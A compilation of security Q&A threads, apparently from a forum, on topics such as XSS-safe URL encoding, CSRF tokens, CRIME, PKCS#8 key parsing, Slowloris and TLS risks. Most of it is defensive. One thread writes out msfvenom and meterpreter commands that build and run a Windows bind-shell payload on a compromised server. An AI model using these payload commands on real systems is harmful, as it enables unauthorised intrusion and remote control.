I read in this forum https://stackoverflow.com/questions/205923/best-way-to-handle-security-and-avoid-xss-with-user-entered-urls about someone who has similar issue and from that post I thought it's very dangerous and nearly impossible to protect agains XSS displaying an external url?

I also spent hours Googling for a classic asp regexp that is able to verify that it is an external link without dangerous content but could not find anything.

<a href=”http://www.mypage.com/page.asp?var1=<%=server.urlencode(var1)%>”>

Here you are here injecting content into a URL component, inside HTML. So in principle the correct thing to do would be to URL-encode the variable, and then HTML-encode the output of that:

<a href="http://www.mypage.com/page.asp?var1=<%= Server.HTMLEncode(Server.URLEncode(var1)) %>">

However, in reality the shorter form with just URLEncode is still safe because it just so happens that the output of URLEncode never produces any character that is special in HTML. So that's fine.

<img src=”http://www.mypage.com/images/<%=server.urlencode(var1)%>”

There is a minor problem in this one, but not one that causes XSS: the Classic ASP URLEncode method treats the space character specially, encoding it as +. This is a short-form that only works in query strings; for path parts a space has to be written as %20; a plus just means a plus, so if you have a filename with a space in, this won't link to it properly.

Some platforms always encode to %20 and some have options or different methods to produce URL-encoded components for use in a path (eg in PHP, rawurlencode). Unfortunately Classic ASP doesn't do either of those things, so if you need to get this right you have to define your own function that does URLEncode then replaces + with %20 manually.

(Aside: you have smart quotes ” throughout your code. This is probably just an artefact of copy-pasting through a word processor, but if you actually used them in your source lots of things would break.)


Practical implications of using a service like ProtonMail Recently I found out about ProtonMail, which has been promoted as a more secure email service than services like Gmail.

According to the creators of ProtonMail, Google can read all Gmail emails, and often does (in an automated way) in order to present targeted ads to its users. Google could also release all of a Gmail user's emails to a government agency or read all the user's emails for other purposes. Also, the emails are not encrypted, so any computer between sender and receive can intercept and read the emails.

If I switch to a service like ProtonMail, what will be the practical implications?

Do people I communicate with also need to use a similar service in order for me to get the security advantages? If I send an email from a ProtonMail account to a Gmail account, will it just send it unencrypted like a normal email, able to be intercepted and read easily?

It's a little misleading to say that Gmail emails are not encrypted during transfer, because they only are not encrypted when the receiver doesn't have TLS enabled (see this link). Gmail and all of the other major email services have TLS enabled, meaning that your email is encrypted during transfer. This does not mean that the emails are always encrypted on the mail server or client, or when transferring between you and the mail server. Gmail does not do the encryption on the client before sending to their mail servers, all encryption for them is done on the mail server.

This is where services like ProtonMail and Tutanota come in. They do the encryption on the user's machine, before the packet leaves the host. This means that someone cannot successfully complete a man-in-the-middle attack by sniffing out that packet with your email in it.

These services offer end-to-end encryption if sending to someone also on that service by default. Also offered is the option to send a link to the service's website to someone not on that platform, and they type in a password to decrypt the email once there. They assume that you give this password to a person in advanced, preferably in person.

Yet another benefit of using one of these two services is that they are not based in the United States, making them less likely to cooperate with the US Government for whatever reason. Even then, because the emails are encrypted by the user and not the server, it is nearly impossible for even the service owners to read your emails.

Some real-world scenarios of where this might be useful is sending business related emails with unannounced IP, sending credit card information (still not a good idea even with these service), sending personal information, or if you're trying to not allow your country's government access to your email.


What's a proper way to secure REST interface from session stealing? Let's suppose that attacker was able to inject JavaScript into website. Obviously he can do any HTTP request to backend mimicking user actions, unless there's some confirmation like SMS code which required direct interaction from user (even in this case malicious JavaScript could fool user). So, I guess, this attack vector couldn't be reasonably defended. But if attacker steals session, he can impersonate user and do almost anything. So I'm thinking about defense of this vector. Sure, server could check IP address, etc, but it's not always possible.

First thing: storing session in an HTTP-only cookie. JavaScript can't steal it. So far so good. But there's another weakness: 3-rd party website can craft form tag with action from my server and submit this form with user cookie. One could use CSRF tokens, but again they should be available to JavaScript, they could be stolen if JavaScript is compromised, they must be maintained on the webserver, which hurts scalability, etc. I'm thinking about using PUT method for every REST action (well, it won't be a proper REST obviously, let's call it HTTP API). There's no way to trick user into issuing PUT request from 3-rd party website and HTTP-only cookie will prevent stealing of cookie value.

I'm not seeing this usage, so I guess I'm missing something and there should be simpler way to secure endpoints?

I think you may be misunderstanding CSRF as a threat vector.   A CSRF attack is one where the the attacker does not have access to the DOM, and is able to force the user's browser to submit a request which includes the user's authentication token.  XSS is where the attacker is able to manipulate the DOM.  If the attacker can manipulate the DOM, he can force the user to submit any requests, and it will include both HTTPOnly cookie values and any anti-CSRF tokens.  Any CSRF mitigations put in place can be bypassed if an attacker can control the DOM (XSS).

Given this, the best implementation would include both an HTTPOnly authentication token and an anti-CSRF token which is accessible to JavaScript.

Also, anti-CSRF tokens can be implemented which do not need to be maintained server-side using HttpOnly cookies.   You include a randomly generated token in an HTTPOnly cookie, and include the same token in a DOM-accessible fashion.  When the client returns the request, include the anti-CSRF token as a header (or through a similar method.)   Then, on the server, you validate that both the HTTPOnly token and header tokens match.  A CSRF attack will submit the HTTPOnly token, but it cannot submit the the matching header token.  An XSS attack will still be able to bypass this, but as we said above, anti-CSRF mitigations will not work if the attacker controls the DOM.


Is it safe to check password against the HIBP Pwned Passwords API during account registration? User registers account on a web app. Passwords are salted and hashed.
But is it safe to check the password against the HIBP Pwned Passwords API, before salting and hashing it? Of course the app uses TLS.

So if the password is found on any breach - don't allow to register an account.
If password not found in breach - salt it and store it in a database.

Same would apply if changing the password.

Have I Been Pwned? allows anyone to download the full database to perform the checks locally.

If that's not an option, using the API is safe, since it uses k-anonimity which allows you to perform the check without transmitting the full password / hash.


What is the best way to represent heavy hash decryption for a hacker movie? As a school project, I'm making a video about hackers across the time and there is this one scene where my character enter a big hashed key in a linux based terminal and I need to visually represent the fact that this key is being decrypted.

So, what I'm looking for is something to display in the terminal to represent that. I need this to be very verbose (to give that hollywood effect of line scrolling in the terminal) and it has to be real (or as true as possible).

If you have any idea of where can I find those kind of logs or a way to generate them (maybe a exiting decryption program with verbose mode activated ?)

To keep real I'd go for john the ripper. Holding any key will result in displaying current status. Also, remember that it's not possible do decrypt a hash since it's a one way function.


What attacks is my website subceptable to and how can I prevent them? I am developing a website using this book. From my knowledge and from the book, the major issues that I would have to look out for are XSS, CRSF and SQL injection attacks. I have found that there is ample resources, plugins and solutions that can prevent these attacks. Are there any other attacks/other hazards that could harm  my website?

I am using IIS 10 to run a ASP.NET Core MVC 1.0 website.

Without seeing an actual version of the site our answers are going to be pretty low quality.

However, a suggestion would be for you to run a vulnerability scanner on the site and provide some feedback we could work with/talk you through?

Suggested scanners to try would be OWASP ZAPP or Nessus.

Good luck!


Give only execute permissions to a Linux binary (prevent inspection)? I'm writing an assignment for a security course, and I'm trying to create an executable which students can interact with (ie, execute), but not inspect. In particular what I'd like is for them to be able to execute the binary but not be able to inspect its contents in any way - reading the file, attaching a debugger, etc.

From trial and error, it seems as though giving "other" only execute permission, non-owners of the file are able to execute but not read or attach a debugger (including by attaching to it after it's running - it's actually ptrace that gives the error, so I'm convinced that it's not just gdb failing to read the associated binary file). My question is: am I right about this? Is giving students only execute permissions actually sufficient? To be concrete, they're asked to crack encryption, and the key is stored in the binary, so if they can inspect the binary in any capacity (including the process' memory), they'll be able to sidestep the challenge of the assignment.

This is a partial answer as I've got little time...

Your approach would prevent plain reading of the file but students could still cheat, e.g. by LD_PRELOADing, and changing any of your internal functions to literally print the stack/heap on screen. You must prevent changes to the environment as well (you can unset LD_PRELOAD as a first thing in your main()).

Students could also strace your program, and that might or might not reveal internal strings depending on the system calls you make with them. However, according to Gilles' comment on this question, strace will not honour suid/sgid bits when executing.

To prevent both gdb/ptrace attaching and strace, you can make the program suid/sgid to a specific identity that has access to a file chmoded to 400. This will mean that the executable must be run with that suid identity to access the secret. In fact, if I remember well, LD_PRELOAD should also be ignored by suid binaries.

You can easily verify this by building a program that prints the results of geteuid() and getuid() and run it, chowned to root and with the setuid bit, both normally and with strace.


Adding Expect-CT header to HTTP response In the security test report, I have a recommendation to add Expect-CT header to the HTTP response from web application, additionally developers set this to:

Expect-CT: max-age=0, report-uri=

I am not sure if it is a good idea to add this header. According to https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Expect-CT:

"The Expect-CT will likely become obsolete in June 2021. Since May 2018 new certificates are expected to support SCTs by default. Certificates before March 2018 were allowed to have a lifetime of 39 months, those will all be expired in June 2021."

So because certificates are expected to support SCTs by default I do not think that this header makes any sense.

When it comes to configuration according to https://scotthelme.co.uk/a-new-security-header-expect-ct/ max-age=0, report-uri= means:

"This policy is deployed in report-only mode and if the browser doesn't receive CT information that it's happy with, referred to as not being 'CT Qualified', rather than terminate the connection it will simply send a report to the specified report-uri value."

Because I don't have uri here, the report will not be sent, so there is no additional security at all.

On the other hand I see that some popular websites like Linkedin still use this header, the example from Linkedin:

Expect-CT: max-age=86400, report-uri="https://www.linkedin.com/platform-telemetry/ct"

Because I don't have uri here, the report will not be sent, so there
is no additional security at all.

You are right.
In case enforced is not specified, as in your case, and browser detects a CT violation, e.g. because a mis-issued certificate is used or because of misconfiguration of your web site, it makes sense to report it to the web site owner. Then, if the problem was caused by misconfiguration, the owner has a chance to fix it. In your case the URI is empty, it means the problems will not be reported to you. In your case, the enforce flag is not specified. This means, in case of problems browser will still establish connection. Thus, as you said, such usage of Expect-CT has no additional security.
In case enforced is specified, the browser will refuse connections to the host. In such cases, even if URI is empty or means a non-existing endpoint, there is still a value: Browser will warn the user and will refuse connections that are insecure.

additionally developers set this to:
Expect-CT: max-age=0, report-uri=

Because of the reasons above, this makes no sense.

So because certificates are expected to support SCTs by default I do
not think that this header makes any sense.

From the user perspective, both SCT and Expect-CT (with enforce flag) will prevent insecure connections. But if Expect-CT uses a URI to report problems, it can be easier for the owner to be informed about the problems. Otherwise it make take a long time until you get informed that some users experience problems when connecting to your web site, and may be even stopped visiting it.
But what is the probability that you mis-configure certificate? See details below.

On the other hand I see that some popular websites like Linkedin still
use this header ...

I suppose Linkedin wants to be informed about the cases when browser believed that CT was violated, e.g. a mis-issued certificates were used or web site was mis-configured.
To use or not to use?
I have no statistics about what percentage of users face any CT problems and how many of them are caused by CA, how many otherwise valid certificates are not registered in the log, or if there are any CAs that issue especially many certificates without proper registration in the log. That's why I cannot decide for you if you should use Expect-CT.
I would suggest that you try first to rely on SCT only. Depending on how CA delivers SCT, some configuration of web server may be needed. Then use some online service to do a detailed test of certificate configuration of your web site. There are many such services. It is up to you which one to prefer. After you fixed any issues that such service has found, you can assume that for the most users it will work well and thus Expect-CT will not have any considerable additional value.


Is there a better Diceware word list? I use Diceware to generate passphrases, and am very happy with the ease of the process and the security of the results.

Where I have an issue is with the word list itself.

It contains problematic words like "rape" and "negro" that I can't reasonably use in a passphrase I want to send to a third party.
It contains many obscure words like "eagan" and "scurry" that are hard to remember how to spell.
it contains things like "dx" and "vh" and "a&p" that aren't words at all. "a&p13fk93c'sy" is a valid Diceware passphrase that is just as hard to remember as a truly randomly generated password.
It contains many very short words, so it is possible for a strong six-word Diceware password to only be 6 characters long.

Of course, you can re-run the generation process if you get a bad passphrase, but that reduces entropy.

Since rejecting unsuitable passphrases reduces the entropy, are there alternative word lists available, or is there some other strategy to ensure Diceware only generates useful passphrases?

While the Diceware passphrase generation system is sound, you aren't the first person to express concerns about the default wordlist.  The nice thing is that you can create your own wordlist that works with Arnold's system.  That gives you flexibility in eliminating offensive words and replacing words deemed too short or obscure.

In fact, several organizations have already created their own word lists for use with Diceware.  The most recent was Joseph Bonneau's work for the EFF to develop several wordlist variations that focus on improving usability of the resulting passphrases.  This is really great work and is the first place I'd point you when considering an alternative to the default wordlist.

As far as the possibility of generating short passphrases with the original word list, I estimated that 0.00037% of possible 5 word combinations would be eliminated if you rejected anything shorter than 14 characters (assuming spaces separate words).  So while it's not ideal to reduce overall system entropy, this has a very small impact on security.

Arnold also recommends separating words with spaces, so that should pad even a 6 word passphrase composed of single letter words to 11 characters.


Does CRIME also compromise basic access authentication? CRIME mitigation involves disabling TLS compression. My server offers services only via XML-RPC and does not make use of Cookies, which is what CRIME exploits. Does this mean that I can turn on TLS compression without worrying about being compromised? We use basic access authentication which seems like it would be equally as vulnerable to the CRIME attack as cookies.

The CRIME attack is about making the target client to send phony GET requests to the server, such that each request:

contains the path chosen by the attacker,
and also contains some secret value that the attacker is interested in.

A practical implementation, when the client is a Web browser, is some malicious Javascript which manipulates the DOM to make hidden <img> tags. Each such tag makes the client do a GET to the server.

If the client is configured to automatically send the user password, as part of Basic Authentication, in the relevant header for each request, then it can be attacked just like a cookie. CRIME applies.

An important point, though, is that CRIME is a Chosen-Plaintext Attack: it works in contexts where the attacker can make the victim issue requests containing both the secret value, and some data that the attacker can choose. This certainly applies to a Web browser, but not necessarily to other contexts such as a custom XML-RPC client. It really depends on what the requests contain.

In general, compression of any kind inherently increases information leaks, because encryption does not hide data size, and compression makes data size dependent on data contents. The specific case of CRIME is when the compression is applied at the SSL level, because it then encompasses an area (the HTTP headers) full of values which are, from the point of view of the attacker, very juicy. However, if there is a secret value that the attacker wants to obtain, such that the value is located in the request bodies, then HTTP-level compression could be equally vulnerable.

If you want the benefits of compression, then you will also get the disadvantages of compression, namely this increase in leaks. This requires some thorough, specific analysis.

(Note that size-related leakages are not specific to compression; text-based representations, e.g. a decimal integer in XML, can also have a variable size which depends on the exact data contents; however, compression exacerbates the issue, making it much easier to turn the leak into a successful attack.)


Confidentiality and privacy I understand that the confidentiality aimed at protecting access to the system data, while privacy aimed at protecting access to the person data. Now, could we consider anonymity as a sub-characteristic of privacy and privacy as a sub-characteristic of confidentiality?

Confidentiality is about a data, whereas privacy is about a person/group of people/organization.

Every data belongs to a person. Every person is identified by his data. So these 2 notions extend each others. Interpreting one of them as being a sub-characteristic of an other is correct at your will.


How is iptables useful to prevent attacks against a LAN? I need some advice securing a LAN using iptables.

I've found lots of examples on how to secure single host with iptables, including scanning ports, attacking using ICMP-flood and TCP-flood. These examples gave easy to see results with wireshark, tcpdump and on bandwith, but I am not able to find a way to perform similar things with an attacker outside LAN.

I've also tried to use ettercap which seems very powerful tool but dont know what type of attacks or what scenarios should I test vs iptables.

IPtables won't detect a successful Ettercap attack. Ettercap is used for ARP cache poisoning, CAM table flooding - it's a layer 2 attack tool to perform network sniffing via exploiting issues/vulnerabilities on switches. See this tutorial for some examples.

To be honest,  think the question is a little generic and maybe dated. Folks don't generally test firewalls per se but instead, how to bypass firewalls to get to the PII behind.

IPtables is a firewall so it generally has all the advantages and limitations of most firewalls. It comes in handy (to paraphrase you) when you need to lock down your host or hosts behind your iptables firewall to restrict access to/from only allowed ports/services and IP addresses. It can also be used to throttle or mangle traffic. Here's a couple of links on testing firewalls that should give you an idea -

Marcus Ranum
SANS


How to find the RSA file cipher algorithm? Is there a way to find out how an RSA private key is encrypted? The password for the private file is known, but there is no more information about the cipher in the private key file, only the information -----BEGIN ENCRYPTED PRIVATE KEY----- with encrypted data after that.

The background is, when I generate encrypted public/private key files with PHP/OpenSSL with given ciphers for EC keys for example, so I got information about the cipher like this

-----BEGIN EC PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-256-CBC,...

But for password-protected RSA keys only the information -----BEGIN ENCRYPTED PRIVATE KEY----- without any additional information about the cipher.

OpenSSL supports the older "traditional" or "SSLeay" key formats and the more secure PKCS#8 format. openssl rsa command works with the traditional format and openssl pkcs8 command works with the pkcs8 format. The pkcs8 command can convert between formats.

Files with -----BEGIN RSA PRIVATE KEY----- are in the traditional format and files with -----BEGIN ENCRYPTED PRIVATE KEY----- are in the PKCS#8 format.

In the traditional format, the file has a header like:

Proc-Type: 4,ENCRYPTED
DEK-Info: AES-256-CBC,DF92177B22C9D06622FF3FEC3491C204

and everything else is encrypted.

The PKCS#8 format is ASN.1 and so you can use any ASN.1 parser to read it, for example:

$ openssl asn1parse -in encrypted.pkcs8.pem

    0:d=0  hl=4 l=1325 cons: SEQUENCE
    4:d=1  hl=2 l=  87 cons: SEQUENCE
    6:d=2  hl=2 l=   9 prim: OBJECT            :PBES2
   17:d=2  hl=2 l=  74 cons: SEQUENCE
   19:d=3  hl=2 l=  41 cons: SEQUENCE
   21:d=4  hl=2 l=   9 prim: OBJECT            :PBKDF2
   32:d=4  hl=2 l=  28 cons: SEQUENCE
   34:d=5  hl=2 l=   8 prim: OCTET STRING      [HEX DUMP]:51A5F9E6AA2874EF
   44:d=5  hl=2 l=   2 prim: INTEGER           :0800
   48:d=5  hl=2 l=  12 cons: SEQUENCE
   50:d=6  hl=2 l=   8 prim: OBJECT            :hmacWithSHA256
   60:d=6  hl=2 l=   0 prim: NULL
   62:d=3  hl=2 l=  29 cons: SEQUENCE
   64:d=4  hl=2 l=   9 prim: OBJECT            :aes-256-cbc
   75:d=4  hl=2 l=  16 prim: OCTET STRING      [HEX DUMP]:98228059794F6B60E616AA7C2E80A625
   93:d=1  hl=4 l=1232 prim: OCTET STRING      [HEX DUMP]:E7913261B9FA2C4C916581FA21B317E710727C5952D815997C039CF5D5C7F1DF86E44FB9A4BD47DF6303A73EB858F94CB548FA2BA220DEDD02CC7643257BC8F67684183C89BD18744B93DE11C0F76C0E71C2AFBE85DA3F60932CEF0377563A74F8C01A7C2A701F095A79A8711BF238AE52F511CD3915D159AD79426FDFDEB042069F0D58D5673BC64CAD56E00C74F267F77B6138639549BE2F76CBFE2EA1F86DBAC7791EE0F5E90E192985A647CF3ECC71A34F4B9B0818FE22DA8435A97D8D643986ED349730B83D81EE2AE1A2B6BCCF8580D0EDD119912562D1631BD1217DE76AF25CDCBBDC4452FB9D5482BC64759622215B3B51231F98757ED12933DC0D6F0DD9139A5D3F3237E388DBE8BD8873AE6EC0635274084858FB5E8A7CE1439C5A4505521263DE8425932ADDE91A0AAC187855BA2754A1125653FC2714AB04890972D675A73F00689D870CC8A2F4E505A55A7EB9319D3F56FF1A197E91AE56218280A13E4FF08499AFAB9F5005C022D85B437F414255E9355F10733A92E95307B25AAF15579EE343F925A83C62439D73A30FB8C6843BD83C0AFBB3C3FB4BC439BCDE168F7BD52A4953C968FAE4763DC9472E2B95BAA84EC4BAB3CA89CBBE8B2E539BAF3F86B4C27747ADB45F7AEB59ADB3FE675682D7F5BFEFD06AE27A280CDDC831B24C4D25E0C9D4CDCDF6FB62AF7FF482468506816A29019275DBA901ED5A86864DD170EA773E7BA102E90D325884D20D816CF60B9A4FBF5CE612F7A7787A52488440F95B551FE31911FC09926C2D928FA03C604B322B1384F5AA31C0D60205798125FA98E3F45F6AC6D72F9382992A9206E124764C2FDCB8735C8D06A323EC8B0F0C4A2C5C78C44014FBB2E34B56B3322641D21197256DCEC04FF79410FEA0A07AC67F3CA5AED086276744956468633B5419F0F6A077ECDC070E8F4AF82DD51E8F3180A3B5A966B806B6F42C2727678DC5BAD2982EE5FFEB009BFAF84F9F32E40C07370699D7CB07E98BA78C60E83C3468074C389EF35C60C949301869D4295C8DA6F2CDBB9AC5B483BD7D2B23E0E950BAD37F07F27A7C16102A1692AC87B9CC9CB18AD7A63EBFD5C9A2FB7E22BAC2C73A7D20AF1874578CEA504E809C34F0EFA216A655D447BED8BA40FBA26B7ADFE14566F6696BE1CA0FCFE04DF4B84DEE6DD83FC71AB619E8D9287A7DA6501012A7ED962D5E6DF0800902F81AB17C6DFF761C5B2B4F6A59058C93F4BE5F48FCCCF59EBF3009121961BE3BE80BB7BD4416427BCBD28B1432294B811A3619ECFABC036891912C16AFF38AA778E7287ACD96C098B226D1F4482555EA0116BDE6F3DF86AD623C6898AD2752C4E3023EEF36A6F05C8698007099B3D6FF6A9A9E15700FCFE7165DB5FBDD26E4641AD86276303186BA70E1402DBD025A8DFD5652867B1407D664F47A0D5C30B25B45B64E2C26D372C76CEDB004D81FE10ECD051B5DFFFBB76D0D9D5C2803B6672EABCF615C8797926679E127A99CB24327044CFD140586ED77957B4A6E62F61F0D70C83768C8775AC9955097EFAA93AD1D610DFC5593B00F19285305F15C8734DCBC0BD789F169A7B31F536E2A4083510B8C7419FC7E732754F6C380DA2C101F3DD8A75CFD0A96042619B5BEFEBDE88A2AC19671FBC521563CF255446428C0F7AD2D411C88E6DA8BF7DD560A504853AA966843C43B2731A1AA498D4278E83FA1F913A71154D575BD6309213B1F4617986BE1566255B369

The data in PKCS#8 wraps a PKCS#5 payload.

We see PBKDF2 with salt and number of iterations and KDF (PRF) function, and we see AES-256 in CBC mode with an initialization vector.


Slowloris DOS partial request with subsequent headers? Reading about Slowloris attack:

  Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request.

Looking at some examples, and writing one myself, it's quite easy to DOS the target by simply keeping the maximum connection limit open, recreating connections as the target times them out.

What is the point of sending subsequent HTTP headers after opening a connection with a partial request?  Sending subsequent headers doesn't seem to reset the connection timeout.

As pointed out in the comments, there is in fact a degree of variability amongst different servers.  I was wrong to assume the connection timeout wasn't reset when sending subsequent headers.

I've implemented a basic Slowloris with nodejs here, and tested it against Ubuntu Apache2 (2.4.18-2ubuntu4.1) to prove this.

I tuned the Timeout variable down from 300 to 10 seconds for this test.  After doing this, Apache reported many 408 Request Timeout errors in the error log if the interval set for sending subsequent headers was greater-than 10 seconds (line 54).  By reducing this interval to less-than or equal to 10 seconds, Apache infrequently, if ever, reported any timeout errors.


Switching to native meterpreter I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.

I want to change to a windows meterpreter(in order to use windows exploits). I tried creating new .exe payloads with msfvenom and uploaded and executed them through the java meterpreter session. But I'm not able to get a new Windows meterpreter running.

This is what I've tried:

root@kali:~# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe > bindtcp5555.exe

meterpreter> upload /root/bindtcp5555.exe
...
[*] uploaded   : bindtcp5555.exe -> bindtcp5555.exe
meterpreter > execute -f bindtcp5555.exe -m
Process  created.

So I can upload and execute the payload but when I check running processes it's not in the list and my metasploit handler can't establish a session with tcp bind.

What am I doing wrong?

I just had to use the shell command in the java meterpreter in order to correctly be able to execute the .exe and get the windows meterpreter session running.


Are there risks to allowing cURL from my machine? I currently have several update scripts that I run periodically, which use curl to pull and install updates from various places. In my current configuration however, I have curl blocked by my firewall, and must manually allow it each time I run these scripts. Life would be simpler if I could just always allow curl from my machine (at least to a few specific sites like github.com, over http and https). Is there any reason not to allow this? Are there potential insidious side-effects to running curl this way?

Well, it's possible that curl contains a yet-undiscovered flaw, such as a buffer overflow, and that a carefully crafted site out there might put up data that, when pulled with curl, would run malicious code on your machine with the rights of the user that ran curl.

Depending on how isolated your machine is, opening up a hole in your firewall for curl could lead to another, malicious process on your machine using the same firewall hole to extract data from your machine and upload it to one of the sites curl was allowed to connect to.

The first scenario is unlikely, but within the realm of the possible. The second scenario assumes your machine is highly isolated and you're worried about secrets being extracted from it. In that case, it probably shouldn't be connected to the internet at all, so scenario two is probably not really relevant.

If you're talking about a normal desktop machine, I wouldn't worry about curl.

Updated to answer your comment: A correctly functioning curl itself which was under your control wouldn't send arbitrary data out. But if I managed to install a malicious program on your machine, I could then tell it to use curl to post data I stole from your machine to one of the sites that you allowed curl to connect to.

The technical explanation for this is that curl sends an HTTP request and receives the answer in an HTTP Response. An HTTP request can contain arbitrary data; this is how HTTP is designed. If you only want to allow very specific HTTP requests, you'll have to configure your firewall to use deep packet inspection to block everything but white-listed HTTP requests.

Even that will not be enough to be perfectly safe, since once there is a hole in your firewall, another process might mimick curl and send out information using a covert channel (such as sending out information not in the actual bytes it sends, but in the frequency of the requests).

However, you probably don't have to worry about such attacks unless you're doing very important or very secret work that might interest state-level adversaries.


Are all Google app-passwords equal? What is their attack scope? Upon setting up app-passwords, Google sends a mail:

  This app password will allow you to access your Google account from a device or application that can only be configured with a username and password, rather than a username, password and a verification code.

A "Google account" is literally linked to hundreds of applications eg Google Apps, Google Search, Gmail, Google Docs, Google Calendar.. so what does "access your Google account" mean?

Are all Google app-passwords equal?

What can a trojan/rogue application who has secured an app-password do to you?

Google hasn't publicly disclosed the scope of app passwords, but there are a few things we can reasonably deduce about them.

One way is to review Google's help information about them. Note especially this caveat:

  On the "Signing in to Google" panel, choose App Passwords. If you don’t see this option:

  [...]

  You’ve turned on Advanced Protection for your account.

This confirms that App Passwords, by their very nature and by design, sidestep multi-factor authentication. To mitigate the risks of doing this, Google app passwords have two key benefits (for both the user, and for the Google ecosystem as a whole):

Google app passwords are hard to guess (unrelated to anything about the user) because they are randomly generated, and long. This makes it less likely for an attacker to guess a weaker set of credentials.
Google app passwords are unique per instance (but it is up to the user to ensure that a unique one is used for each separate device and/or application!). This minimizes the impact of exposing one app password (because if one use case is compromised, the other App Passwords don't need to be changed.)

Fastmail's post on MFA and App Passwords is a very good overview of the implications in more detail.

With MFA and Advanced Protection enabled, only some protocols and use cases (such as POP3/IMAP email clients) are allowed to use Google App passwords. I can't use a Google App password to log in interactively to the Gmail web interface, modify my Google Account, or otherwise perform activities that require account-wide privileges - but I can use email clients.

And from my testing, you can use any app password interchangeably with any other. There's no way to lock them down to specific applications yourself. The labels you can give them in the Google interface are cosmetic/advisory only.

This probably means that rogue use of an app password is limited to what can be exploited using any protocol that doesn't require MFA (e.g., reading or deleting all of your email).

But unless you're using Advanced Protection, that may mean just about everything.


Is it a security risk to strore item IDs in sessionStorage? I've been working on an eCommerce store for people to be able to buy items. I want to implement a basket system for this store.

Looking at lots of other posts, it is clear to me that there are definite security risks from using sessionStorage/localStorage techniques in order to store data on the clients side which can lead to XSS attacks or will not work properly on some clients. My goal is to be able to store an ID relating to an item when the user adds an item to the basket.

I'm not going to be storing any price data or other information just the item ID, on the server side I would then take the item IDs from the session storage and it would do a cross reference from the session data where the IDs match.

Although I feel as if I mostly understand the security risk should I be taking a different approach or is it okay to use sessionStorage? Would it be useful to maybe use some sort of encryption method so that the item ID is not directly known on the frontend and then decoded on the backend? My site is using express node.

Depends how exactly they are used.

The questions you should be asking yourself are:

What is the risk if a user modifies the ID?
By modifying an ID, can a user access any items they shouldn't have access to (are the IDs validated on the server-side, possiblity checked for authorization if needed)?
Is the application prepared to handle invalid input (e.g. given a string when expecting a number)?
Does the data get displayed to other users, and if so, is it validated/sanitized?
If the application uses a database, does the ID end up in a SQL query, allowing for injection?

If you can answer the above without raising any concerns, then you are likely fine. Just treat the field like any other untrusted user input, and make sure any validation ultimately happens on the server-side.

If nothing can learned or gained by brute-forcing IDs, I see no reason to obfuscate them.


As an end user, what risk is there in browsing a public website that uses TLSv1? Is it safe for an end user to browse a website that only supports TLSv1 (or other insecure ciphers or protocols), given the following:

it's a publicly accessible website with no sensitive or private data
it doesn't require user login, credentials or any other user data whatsoever.

So for all intents and purposes, assume the website is intended to be an http:// site, but has an SSL cert installed on it that's out of date by modern security standards.
And by safe, I mean they're not open to some type of exploit, other than MITM of course. By exploit here, I mean there's no way a bad SSL cert could be used to install malware on their machine in anyway, correct?

There is currently no real risk just based on the TLS protocol version for the end user when visiting a site which provides only TLS 1.0 (TLSv1) with a modern browser, i.e. a current version of Chrome, Firefox, Edge or chromium based browsers like Opera. Fortunately browser vendors today actually care about security and if TLS 1.0 would be too insecure it would be switched off or be restricted to only some white-listed sites or only for use with some ciphers.

On the other hand: if a site is still offering only TLS 1.0 you might ask yourself how their relation to security is in general. While there might be some sites which knowingly support only TLS 1.0 it is more likely that they use some old systems or setups which is not able to support TLS 1.2 yet. Given that the most commonly used server-side SSL stack OpenSSL has support of TLS 1.2 since version 1.0.1 released in 2012 and that even OpenSSL 1.0.1 is out of support since some time, it is not unlikely that the owners of the site don't really care about security and that the rest of their infrastructure is outdated too. And that should worry you, not the use of TLS 1.0 by itself.


Can a PowerShell script inside a Zip file execute automatically upon unzipping? I have a zip file that has a Powershell script inside that I want to look at. Is it possible that the Powershell script could execute automatically just by unzipping the file? This is not something I want to happen. Thank you!

Generally speaking, the answer is no. There's a risk that a malicious archive will exploit a bug in your archive software to open a file, but if your software has such a bug then attempting to execute a script is actually relatively safe, as there's lots of ways to block that (you'd have fewer options it if just ran an executable or took over the archive utility directly).

With that said, if you're feeling paranoid, here's a few things you could do:

Set the execution policy in Powershell to "Restricted", which says "don't run scripts, period". It won't stop something like a CMD script invoking powershell with a malicious command, but it will stop an attempt to execute a .ps1 (or similar) file directly.
Rename the file, before unpacking, using a hex editor. File names in ZIP archives are stored in plain text, uncompressed, and if you simply change a non-NULL character (rather than adding or removing any) then it'll still be a valid file afterward. Changing the extension will prevent attempts to launch the file using ShellExecute or similar, although it could still be explicitly passed to Powershell... but if the attacker has the ability to launch arbitrary programs directly then the PS script isn't going to be anything except a payload, and probably a simple one. Hex editors are simple enough that it's extremely unlikely they'd have a vulnerability that could be triggered by reading any file, no matter how malicious.
Use a sandbox to unzip the file. For example, on Windows, there are multiple Zip unpacker apps in the Windows Store, most of which don't even have permissions to write to the file system without permission, much less launch a program. If one of them tries anyway, at worst you'll get a prompt asking you to confirm you want to open the file / launch the program.
Use a system that has no Powershell available. On a Mac or Linux box, this just requires never having installed it. On Windows, this requires moving/renaming/deleting the executable, removing its Execute permission, or using the OS' built-in app restriction policies to prevent it from running. Note that any of these actions require Admin privileges as Powershell is installed in the system directory, may cause the OS to malfunction in the long term (some Windows Updates require a working Powershell, for example) so you should undo it afterward, and that on anything except 32-bit x86 Windows there may be multiple versions of Powershell installed using different architectures (for example, on my x86-64 machine, there's one in "System32" (the 64-bit one) and one in "SysWOW64" (the 32-bit one, in the "Windows-on-Windows64" system directory).


Is it important to use separate GPG keys for signing Git commits and for SSH authentication? When using GPG to sign Git commits, and as the SSH-agent, is it important to use separate sub-keys for the signing of the Git commits as it is for authentication with the SSH host of the Git server?

Does using the same sub-key for both expose owner of the to an attack vector where previously or planned signatures of Git commits could be used to impersonate during SSH authentication?

I'm particularly interested if this would be the case with ed2559 keys, or RSA.

Generally, no, mentioned git signatures do not make you more vulnerable to impersonation during SSH authentication. For SSH authentication, the attacker would have to know the private key. And the security of the private key does not depend on how many different messages you sign with it, since it cannot be derived from signatures. That is, as long as the key algorithm is secure, such as ed25519, or RSA with at least 2048 bits.

